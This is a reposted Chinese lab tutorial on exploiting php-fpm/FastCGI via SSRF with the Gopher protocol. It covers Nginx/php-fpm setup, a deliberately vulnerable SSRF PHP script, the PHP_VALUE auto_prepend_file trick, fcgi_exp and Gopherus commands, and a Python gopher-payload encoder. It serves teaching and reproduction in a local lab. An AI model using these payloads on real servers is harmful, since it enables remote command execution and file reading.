前言
上篇文章在讲利用SSRF漏洞攻击内网的Redis的时候提到了Gopher协议,说到了这个协议作为SSRF漏洞利用中的万金油,可以用它来攻击内网的FTP、Telnet、Redis、Memcache、FastCGI等应用,那么这篇文章就来介绍一下FastCGI以及利用SSRF结合Gopher协议攻击FastCGI
FastCGI
维基百科的解释:快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。
只通过这样简单两句话确实难以理解这是一个什么协议,下面是我通过阅读各种资料后对这个协议的理解
众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,其中的页面是一对一的(一个内容对应一个页面),而动态网站需要一个额外的编译解析的过程,网页上的数据是从数据库中或者其他地方调用,页面会随着数据的变化而改变,就产生了一定的交互性。
浏览器访问静态网页过程
在整个网页的访问过程中,Web容器(例如Apache、Nginx)只担任着内容分发者的身份,当访问静态网站的主页时,Web容器会到网站的相应目录中查找主页文件,然后发送给用户的浏览器。
浏览器访问动态网页过程
当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,web容器就会去找PHP解析器来进行处理(这里以Apache为例),它会把这个请求进行简单的处理,然后交给PHP解释器。
当Apache收到用户对 index.php 的请求后,如果使用的是CGI,会启动对应的 CGI 程序,对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。
这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。
php-fpm
了解了CGI和FastCGI之后,我们来看一下什么是php-fpm,官方对它的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。
也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了master和worker进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。
php-fpm攻击实现原理
想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php
这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。
而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。
那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On
,就会在执行php脚本之前包含auto_prepend_file
文件的内容,php://input
也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。
环境搭建
靶 机: Ubuntu
攻击机: Kali
这里直接在Ubuntu上安装Nginx和php-fpm,首先安装Nginx
sudo apt-get install nginx
安装php、php-fpm以及一些插件
sudo apt-get install software-properties-common python-software-properties
sudo add-apt-repository ppa:ondrej/php #这里容易卡死,解决方法使用代理
sudo apt-get update
sudo apt-get -y install php7.2
sudo -y apt-get install php7.2-fpm php7.2-mysql php7.2-curl php7.2-json php7.2-mbstring php7.2-xml php7.2-intl
配置php-fpm
修改配置监听9000端口来处理nginx的请求
打开/etc/php/7.2/fpm/pool.d/www.conf文件找到如下位置注释第一行添加第二行
;listen = /run/php/php7.2-fpm.sock
listen = 127.0.0.1:9000
注意这里如果设置监听为0.0.0.0:9000就在产生php-fpm未授权访问漏洞,此时攻击者可以直接与9000端口上的php-fpm进行通信,进而可以实现任意代码执行。
下面修改权限
chmod 777 /run/php/php7.2-fpm.sock
打开nginx的配置文件 /etc/nginx/sites-available/default 修改相应部分的配置
server {
listen 80; #监听80端口,接收http请求
server_name www.example.com; #就是网站地址
root /usr/local/etc/nginx/www/huxintong_admin; # 准备存放代码工程的路径
#路由到网站根目录www.example.com时候的处理
location / {
index index.php; #跳转到www.example.com/index.php
autoindex on;
}
#当请求网站下php文件的时候,反向代理到php-fpm
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass 127.0.0.1:9000;#nginx fastcgi进程监听的IP地址和端口
#fastcgi_pass unix:/run/php/php7.2-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}
}
启动环境
配置完成后查看一下php-fpm的安装位置,然后启动
whereis php-fpm
/usr/sbin/php-fpm7.2 #这是我的靶机上php-fpm安装的位置
重新启动Nginx
sudo systemctl restart nginx
然后检查nginx是否正确启动 systemctl status nginx
检查php-fpm是否正确启动 ps -elf | grep php-fpm
这里就可以看出上面所说的存在一个master进程和多个worker进程
下面将/var/www/html/目录下的文件删除,新建一个index.php,内容可以写上<?php phpinfo(); ?>用来检查各项是否正常运行,如果页面为空,查看这篇文章解决
其中Sever API 处和上图一样说明运行正确,然后在目录下新建ssrf.php 内容为
<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);
//第二种初始化curl的方式
//$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);
/*进行curl配置*/
curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
$responseText = curl_exec($curl);
//var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容
echo $responseText;
curl_close($curl);
?>
该代码为一个ssrf漏洞的示例代码,可以访问/ssrf.php?url=http://www.baidu.com进行测试,下图为正常的结果
ssrf攻击FastCGI演示
使用fcgi_exp攻击
这里在已知其使用了php-fpm的情况下,我们可以先使用fcgi_exp测试是否可以直接攻击9000端口,这个工具主要是用来攻击未授权访问php-fpm的,所以一些地方需要自己写脚本转换一下payload,下面是使用方法
该工具需要go语言环境,下载后进入目录
go build fcgi_exp.go #编译fcgi_exp.go
这里直接运行可以看到fcgi_exp的使用方法
Usage: ./fcgi_exp <cmd> <ip> <port> <file> [command]
cmd: phpinfo, system, read
the SYSTEM cmd only affects PHP-FPM >= 5.3.3
ip: Target ip to exploit with.
port: Target port running php-fpm.
file: File to read or execute.
command: Command to execute by system. Must use with cmd 'system'.
Example: ./fcgi_exp system 127.0.0.1 9000 /var/www/html/index.php "whoami"
./fcgi_exp phpinfo 127.0.0.1 9000 /var/www/html/index.php > phpinfo.html
./fcgi_exp read 127.0.0.1 9000 /etc/issue
使用如下命令进行测试
./fcgi_exp system 192.168.233.138 9000 /var/www/html/index.php "id"
在这里显然是不行的,因为在配置端口监听的时候,仅允许监听在127.0.0.1,所以说不能攻击成功,但是如果有的服务器在配置的时候将9000端口监听在公网上了,就可以用上面的方法进行测试。如果仅监听在本地,可以通过ssrf来攻击内部的9000端口。
在攻击机上使用nc -lvvp 1234 > fcg_exp.txt监听1234 端口来接收payload,另外开启一个终端使用下面的命令发送payload
./fcgi_exp system 127.0.0.1 1234 /var/www/html/index.php "id"
注意这里攻击的端口是上面监听的端口,目的是将payload发送到这个端口,运行后可以使用Ctrl+C 来结束运行,现在就得到了一个fcg_exp.txt的文件,里面是获得的payload,可以使用xxd fcg_exp.txt查看其内容
文件里的内容有部分是不可见字符,这里需要url编码一下,这里写一个Python脚本对文件中的内容进行编码
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote, urlencode
file = open('fcg_exp.txt','r')
payload = file.read()
print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))
之后使用burp抓一个访问ssrf.php的包,将输出的内容放到?url=后面,然后这里需要再进行一次编码,因为这里curl会进行一次解码,gopher会再进行一次解码,这里直接用burp中的工具
编码之后直接Go就可以执行刚才设置的命令了
使用Gopherus攻击
这个工具相比上一个更加方便一下,该工具能生成Gopher有效负载,用来利用ssrf获得RCE,下面利用这个工具来执行命令
python gopherus.py --exploit fastcgi
/var/www/html/index.php #这里输入的是一个已知存在的php文件
whoami
获得payload,之后用同样的方法在burp Go一下(记得二次编码)
总结
通过上面的演示,可以看到又一个ssrf结合其他漏洞形成重大影响的示例,其实总的来看整个攻击的过程并不复杂,但是这仅仅是通过文章呈现出来的一种错觉,其实在复现的过程中,还是会出现各种各样的问题的,比如说搭建整个环境,其实是尝试了很多种搭建方式之后才成功的,本来也想用一个镜像来复现,但是没有合适的,最后终于找到了一种简单的方法来安装nginx和php-fpm,再比如使用fcgi_exp攻击时写的脚本,其实是修改了很多次才成功的。所以说大家如果想真正理解和掌握这个漏洞,最好还是自己搭建环境尝试一下,通过搭建环境,学到的不仅仅是这个漏洞,还有这些环境的一些知识。
转载至https://bbs.ichunqiu.com/thread-58455-1-1.html